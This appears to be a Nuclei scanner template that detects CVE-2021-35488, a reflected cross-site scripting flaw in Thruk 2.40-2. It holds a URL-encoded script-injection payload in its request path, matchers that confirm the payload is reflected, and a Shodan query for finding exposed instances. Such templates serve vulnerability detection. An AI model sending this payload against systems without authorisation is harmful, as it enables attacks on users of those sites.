49 lines
1.7 KiB
YAML
49 lines
1.7 KiB
YAML
id: CVE-2021-35488
|
|
|
|
info:
|
|
name: Thruk 2.40-2 - Cross-Site Scripting
|
|
author: arafatansari
|
|
severity: medium
|
|
description: |
|
|
Thruk 2.40-2 contains a cross-site scripting vulnerability via /thruk/#cgi-bin/status.cgi?style=combined&title={TITLE] in the host or title parameter. An attacker can inject arbitrary JavaScript into status.cgi, leading to a triggered payload when accessed by an authenticated user.
|
|
remediation: |
|
|
Upgrade to a patched version of Thruk or apply the vendor-supplied patch to mitigate this vulnerability.
|
|
reference:
|
|
- https://www.gruppotim.it/redteam
|
|
- https://www.thruk.org/changelog.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-35488
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-35488
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00145
|
|
epss-percentile: 0.50128
|
|
cpe: cpe:2.3:a:thruk:thruk:2.40-2:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: thruk
|
|
product: thruk
|
|
shodan-query: http.html:"Thruk"
|
|
tags: cve,cve2021,thruk,xss
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/thruk/cgi-bin/login.cgi?thruk/cgi-bin/status.cgi%3fstyle=combined&title=%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "'></script><script>alert(document.domain)</script>"
|
|
- "Thruk Monitoring"
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 401
|
|
|
|
# digest: 4b0a00483046022100b9afafcdc25e0148c0a8ed4650ab6596f1dde4924c4a3a8f46673ad0dec2be940221009e287977d41b6c17dd56390bf17eb4e1a501125bfc3c29a81c5499bedb62b45b:922c64590222798bb761d5b6d8e72950
|